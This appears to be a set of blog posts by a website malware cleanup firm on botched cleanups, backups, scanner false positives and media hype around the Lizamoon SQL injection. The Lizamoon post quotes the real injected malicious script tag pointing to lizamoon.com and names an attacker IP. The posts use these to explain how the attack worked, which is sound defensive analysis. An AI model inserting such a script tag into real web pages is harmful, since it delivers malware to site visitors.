Website Malware

SiteLock is Still Leaving Websites in a Broken State After Incomplete Malware Removals

It usually isn’t too difficult to properly clean up malware infected websites, but that doesn’t mean that security companies won’t cut corners. Here was someone recently looking for help after SiteLock had left their website broken after doing malware removal:

My website was recently hacked. I worked with the domain host and SiteLock to remove the malware. The site is now back, but not functioning properly. The formatting is generic and the menu is gone. Any help would be greatly appreciated.

That isn’t a new problem, that has been going on for years. Despite that, web hosts continue to partner with them because they pay the web hosts a significant amount of their fees. That probably helps to explain the result, since lots of the money being paid for the service isn’t being spent on the work.

If you hire us to remove malware from your website, we will make sure that everything is working again before we even charge you for the work.

You Don’t Need to Start From Scratch if Your WordPress Website is Infected with Malware

When it comes to dealing with a WordPress website that has been infected with malware, sometimes the idea of dealing with it by starting over is suggested. Not only is that not usually necessary, it can sometimes lead you back to where you started, an infected website.

In almost all instances an infected WordPress websites can be cleaned up, so unless you are very unlucky and have a website that can’t be cleaned because it so damaged, the only reason to start over would be that you can’t handle cleaning it yourself or afford to hire someone to properly clean it up (which is not the same hiring someone to clean it up, based on all the websites we are hired to re-clean after things haven’t been done properly).

A problem with going the route of staring over is that the websites don’t just get hacked, something had to have gone wrong security wise. Starting over isn’t always going to directly deal with that. So if, say, your website was hacked because of an unfixed security vulnerability in a WordPress plugin and you start over and install the plugin on a new WordPress install, then the vulnerability can be exploited again. There are plenty of other issues like that, which wouldn’t be resolved by starting over.

Dealing With a Hacked WordPress Website Without a Backup

One question that comes up from time to time when we are brought in to deal with hacked WordPress websites is can the website be cleaned up if there isn’t a backup. In almost all situations, the answer is yes, and in fact a backup usually isn’t all that useful for cleaning up the website.

One suggested solution for cleaning up a hacked WordPress website, or websites using other software for that matter, is to revert to a clean backup. The big problem with that is that the backup has to be clean, reverting to a backup that from when the website was already hacked, won’t solve the problem. Since hacks can have started well before it becomes noticed, simply reverting to a backup from before you were aware the website was hacked isn’t always going to do the trick. Assuming it can be figured out when the website was originally hacked, most of the work needed to clean up the website without a backup has likely already been done.

The work needed to clean up the website without a backup can also be important for determining how the website was hacked. If you don’t figure out how the website was hacked, then you can’t insure it won’t get hacked again because of the same issue. (Surprisingly, a lot hack clean up providers that claim to have expertise in dealing with hacked websites, don’t even try to figure how websites have been hacked, leading to far too many of their customers’ websites getting hacked again.)

Another issue with reverting to a backup is that you need to do the reversion correctly. Done incorrectly files that were part of the hack could still be on the website or the website could be broken (sometimes in a way that is only realized later).

The exception to the ability to do a cleanup without a backup would be if the files or data has been deleted or is damaged beyond repair, which in almost all instances isn’t the case.

The Likely Reason Malware Keeps Returning to Your WordPress Website

One question that comes up from time to time when dealing with malware infected WordPress websites is why does malware keep returning to the website. While there are multiple reasons that can occur, what we find most often with websites that keep getting infected, WordPress or otherwise, is that they haven’t actually been infected more than once. Instead, the original issue was never fully resolved.

While some malware can be difficult to fully remove, in most cases what we find is that corners were cut during the cleanup process. That isn’t just an issue with hiring someone who doesn’t have much experience with malware infected websites, as we have often been brought in to re-remove malware form websites when that is the case with supposedly reputable providers. That includes companies who are frequently promoted by journalists, despite what they are covering being itself a pretty big warning that something is a miss with the company.

To properly clean up malware on a website, there are three key components:

Removing the malware.
Getting the website secured as possible (which usually involves getting any software on the website up to date).
Trying to determine how the website was infected and fix that.

If a company’s marketing material doesn’t focus on those, then there is a good chance they are cutting corners. You might get lucky and not experience the downside of that, but if you are like lots of people hire us after having hired someone else, you end paying more and dealing with more problems than if just hired us to remove it in the first place.

index.php Files with the Comment “Silence is golden.” on a WordPress Website Are Not Malware

When it comes to dealing with hacked websites a lot of people would be best off leaving it to professionals (assuming you can find one, among all the unqualified companies), as it is easy for people to get very confused about what is going on. We recently had someone contact us about cleaning up a hacked WordPress website where they were saying that part of the malware was that index.php files had been corrupted with “Silence is golden.” and nothing else.

What they were referring to are files that come with WordPress that had the following contents:

<?php
// Silence is golden.

The purpose of those files is to make sure that a listing of files in the directory they are located is not shown in certain server configurations. So those files are harmless and not in any way malware.

Is the “Insecure content blocked: the page is trying to load scripts from unauthenticated sources.” message related to malware or another hack?

We recently had someone contact us looking for a cleanup of a hacked website due to the Chrome web browser displaying the message “Insecure content blocked: the page is trying to load scripts from unauthenticated sources.” when visiting their website, which they thought was caused by malware on the website. It was good that they contacted us and not one of the many unscrupulous security companies out there, as instead of taking people’s money before even knowing if our service is really needed, we actually make sure the website is hacked first (when there is a real hack, we don’t charge until the work on the cleanup is completed).

In this case the website wasn’t hacked, instead it was simply a case where some of the URLs for content on the page were using HTTP URLs even when pages of the website were requested over HTTPS, which creates a minor security issue, hence the warning.

What is important to note though is that this type of situation could be caused by malware, as it could be a situation where a hacker has added HTML code to the website’s pages that causes requests to malicious content over HTTP even when the pages are served over HTTPS. So if you start seeing the warning without having changed anything on the website, a hack could be a cause of the message.

The important take away from this is that you want to make sure to confirm that your website is hacked before hiring someone to clean it. If a company is interested in taking your money before even confirming it is hacked, they probably don’t have your best interest at heart, which based on our experience of being brought in to deal with the results of others improperly handling hacked websites for years, could lead you to have even more problems than the initial hack.

Computer Antivirus Software Won’t Provide an Accurate Assessment if Website Files Contain Malware

When it comes to web hosts alerting their customers that their websites have malware or otherwise have been hacked, what we have seen is that those many of those customers are overly suspicious of those claims. While they are issues with false positives and with web hosts having shady partnerships with security companies, in most instances the claim is correct.

There are good ways to double check the claim. Those included doing a comparison of files that the web host claims are impacted on the website to a clean copy of the same files that haven’t been on the website (say from fresh download of the software used on the website) or getting in touch with a company like us that will always determine that the website is hacked before taking on a cleanup, so you are not paying money for something you don’t need.

There are bad ways to try to double check that as well. One of those is by running the files from the website through computer based antivirus software. The reason for that is that type of software is designed to detect malicious code on a computer, not the type that would be in a website’s files, so wouldn’t even be attempting spot the type malware that might be in those files.

Using software designed to detect malware on a website also might not produce great results as from what we have seen the quality of that is not always great and that software may use the same detection that is used by the web host, so the same false positive could be produced with it as well.

Web based scanners are also not a good way to handle double checking since they usually can’t check the same things that a web host could have checked and the quality of them seems extremely poor.

Google Moving in The Wrong Direction When It Comes to Information Provided on Hacked Websites

We clean up a lot of hacked websites, which means we often are dealing with website that flagged as serving malware by Google. In Google’s Search Console you can get whatever details they are providing on the issue they detected and request a review to have their warning removed after the website has been cleaned up. We often find that all they provide with is sample URLs where they have found the issue, but no details of the issue due to them being unable to isolate the malicious code being served. For us that usually isn’t a problem, but for those less experienced providing more information on what they are detecting in more cases would likely to improve cleanups. But now it seems things are going further in the wrong direction, as this week we dealt with a website where Google provided no details whatsoever on Security Issues page of the Search Console:

They also left a message where they did list a URL, so it seems the various pieces of their system are not working well together:

Hopefully Google will improve this, as in this case (and probably in plenty of others), the website only got properly cleaned up after Google started flagging it, so what they are doing is important, but could be better.

False Positives Highlight Deeply Flawed Website Malware Scanners

We often get asked by clients about whether they should be using some sort of malware scanner on their website and our answer has always been no. Two major reasons for this are that with proper security websites can be protected from being infected in the first place and that these website malware scanners are not very good at identify malware. What we haven’t considered before was the issue with these scanners producing false positives. We know that when people are told that their websites are infected with malware it is stressful and it can lead to them taking drastic, including deleting the websites. Deleting a website won’t always solve the underlying that caused the infection when a website is infected, but with a website that is not infected it is just a waste. This is why it is critical for those developing malware scanners to be very careful in making sure their scanners work properly and properly detailing what they are detecting. This is something that has been disregarded by the developers of the AntiVirus WordPress plugin and the Sucuri SiteCheck website malware scanner, as we recently discovered when we were contacted by someone unfortunate enough to have run into these two tools.

We were contacted, as we often are, by someone who wasn’t sure it there website was infected. (We are always happy to do a quick free check to confirm whether a website is infected or in some other way hacked. For potential clients that contact about dealing with a hacking issue we always do this first, as we find on a regular basis that the issue they are experiencing are not related to a hack or have actually already been resolved.) They and their web host couldn’t find anything wrong their website, but they were getting warning from two website malware scanning tools. As with any check we do, it involves discussing what leads them to suspect the website is hacked and us doing some of a variety of manual checks. Automated scanners are not reliable way for detecting issues for a number of reasons. In this instance the two scanners were falsely identifying two different items as being malware. We were able to determine this after a quick review of what they were reporting.

By looking at the false positives a malware scanner produces you can get a good sense of how good or bad it is.

AntiVirus

On the page for the AntiVirus plugin on the WordPress.org Plugin Directory the plugin is described as a “useful plugin that will scan your theme templates for malicious injections” and “a easy and safe tool to protect your blog install against exploits, malware and spam injections”.

On the website we were contacted about the plugin was displaying a warning in the Admin Bar that a virus was suspected:

What was being identified is shown in the screenshot below:

As shown in the screenshot the suspected virus was the use of the statement require_once. The require_once statement causes a file to be included, with the further requirements that it only be included once and that an error occur if the inclusion fails. This isn’t a malicious statement and it isn’t something that should on its own be used to claim that malware is suspected. It is possible that something malicious could be included with this statement, but as it was with this website, there are perfectly legitimate uses of it.

After seeing this result we wondered why the use of this statement was being identified as a suspected virus, did the developer of plugin believe that this particular statement was only used with malware? What about the similar include, include_once, and require statements? When went to start testing this, we saw a startling result. As can been seen in the screenshot below, the default theme in WordPress 3.4 was being identified as suspected of containing a virus, for simply using the require statement:

A theme using any of the statements used for including files is identified as being suspected of infected, despite that clearly not being at a reliable indicator of a virus. It is quite troubling that something that is so clearly inaccurate is allowed to be in the Plugin Directory. At the very least it should have a very visible warning explaining what the scanner actually identifies. Looking at the support forum for the plugin you can see there are numerous threads involving these false positives. (There is also a topic where the self proclaimed “Hack Repair Guy” says that he recommends “this to my clients for basic security”, which is affirmation for our warning about that guy last year.)

Sucuri SiteCheck

In their marketing material Sucuri describes their SiteCheck website malware scanner as being “highly sophisticated” and that it “leverages internal definitions that are refined daily, external sources, and intelligence to identify both potentially harmful signatures and anomalies that may not be known”. They also claim to be the “de facto standard in website malware monitoring”.

As can been seen in the screenshot below Sucuri’s scanner claimed “Site infected with malware” and that it contained known JavaScript malware:

We looked at the code that they identified as malicious and found it to be legitimate and non-malicious. We also found that it was on a legitimate website and we could find no indication that website in question was recently infected, so why was Sucuri flagging it? To try to figure that out we looked at the malware entry that they were flagging the code for. The description given is “A suspicious remote javascript include was identified. It was set in an non-standard place (before the <html> tag) and was used to distribute malware to someone visiting the infected web site.” It is true that sometimes malware is placed at locations were you wouldn’t usually find legitimate code and it would make sense for a malware scanner to flag that for additional scrutiny, beyond a regular scan of the code for malware.

What appears to have happened is that Sucuri automatically flagged the code based on their signature without actually scanning the JavaScript file for malicious code, which, if their scanner was reliable, would have determined that it was not malicious. That should be a basic part of scanning the page for malware even if it wasn’t in that odd location or part of a signature. When you don’t actually scan things for malware before falsely identifying them as malware, you really shouldn’t be calling what you do website malware scanning.

If you are to believe their marketing claims about how great their website malware scanner is, you have to wonder how much worse the other scanners are. The more troubling aspect of this for their customers is the fact Sucuri’s idea of protecting websites is detecting that they already have been hacked and then cleaning them up. Putting aside the fact for the moment that properly secured websites are highly unlikely to be hacked and that allowing websites to be hacked has consequences even after they are clean again, with a scanner this poor it is unlikely that it will actually do a good job of detecting when website are infected. You really are much better off spending your time and money on actually keeping the website secure in the first place, instead hoping that when the website does get hacked it can be detected and cleaned properly.

The Hype Surrounding “Massive” Malware SQL Injections

Every so often there is another round of a fairly unsophisticated SQL injection that places malware scripts into poorly coded websites occurs and then there is a enviably a security company that hypes the infections and flood of new stories about it. Another round of the infection occurred in the last week, dubbed Lizamoon by Websense who is the company to hype this round (we previously discussed Websense’s false claims of WordPress security issues). From what we have seen dealing with malware infected websites and other data confirms is that these “massive” infections are not massive as they are claimed to be each time, in fact they are of average size for a malware infection of websites. Most of those average size malware infections never receive any press coverage. The reason these attacks seems to receive the coverage is because of the use of Google search results to provide a large but highly inaccurate measure of the size of the infection.

The most important thing to understand about these infections, and this often not mentioned, is that they are completely preventable by properly sanitizing user input data that will be sent to a database. Anyone coding should be well aware of this the possibility of a SQL injection , these specific attacks have been occurring for years, and take the necessary precautions. Prevent SQL injections is one of key things mentioned in our article on securing your website from hackers. Widely used software like WordPress, Drupal, and Joomla are not susceptible to such a basic SQL injection. Unfortunately, even websites that get hit often don’t bother to take the necessary precautions to prevent these SQL injections. Instead, they often just remove the code from the database. There are also unethical website malware removal companies that will remove the infection from the database without insuring the SQL injection vulnerability has been fixed.

Normally you cannot search for a malware using Google’s search engine. This is due the fact Google only makes a web page’s text content searchable and not the HTML code that makes up the page. The malware either consists of a script of iframe tag, both of with are HTML code that would not be searchable. What happens with these injections is that they get placed throughout out the database, in some instances they are placed in a location where the code from the database is escaped while the web page is being generated. So in the source code it would look like

<script src=http://lizamoon.com/ur.php></script>

instead of

<script src=http://lizamoon.com/ur.php></script>

.Because the code has been escaped it will appear as text in the pages and therefore be searchable. When the code is placed into the website in escaped form it is not infectious.

There are several problems with trying to use Google search results to measure the size infection:

The number that Google provides in an estimate, it’s not all clear how accurate it is. If you include duplicate pages currently you can only see 604 results for the search “<script src=http://lizamoon.com/ur.php></script>” despite there being “about 1,470,000 results”.
The number includes any page, like this one, that mentions the code.
Not all pages that have the code are actually infection, because the code only searchable if it escaped. So it would require that another instance that is not escaped be one the page for it to be infectious. We checked the first 10 results for the search “<script src=http://lizamoon.com/ur.php></script>” which were still injected and found that only four of them were infectious.
Most malware infections are not measurable using search results making a comparison with them impossible using the metric.
Web pages are not a good measure of the reach of a malware infection. A page could be accessed millions of times a day or never.

The ideal way to measure the size of a malware infection would be to determine how many times each pages with the malware would be accessed. There is not a tool able to do this and there is unlikely to be one. What we have found to best indicator available to measure the size of a malware infection size is Google Safe Browsing system. This system scans web pages from across the Internet for malware. This data is used to block infected websites in Google’s search results and is also used for malware protection in the FireFox, Chrome, and Safari web browsers. It does not scan all websites and does not scan all of the websites it does scan equally, so the number won’t include every infected website. Google doesn’t indicate what criteria it uses to determine how often it scan various, but in general it scans more popular website more often so it should provide a good measure of how many website that people are likely to access were infected. At the moment the system reports that lizamoon.com has infected 1436 domains. That is far lower than the nearly 4 million websites claimed to have been infected according to one source, far lower than the 1,470,000 reported for a search on “<script src=http://lizamoon.com/ur.php></script>”, and far lower than “hundreds of thousands of domains” claimed by Websense. By comparison, the IP address 86.55.140.203 that is called by a infection that has recently been hitting many osCommerce based websites is reported to have acted as an intermediary for 2957 sites.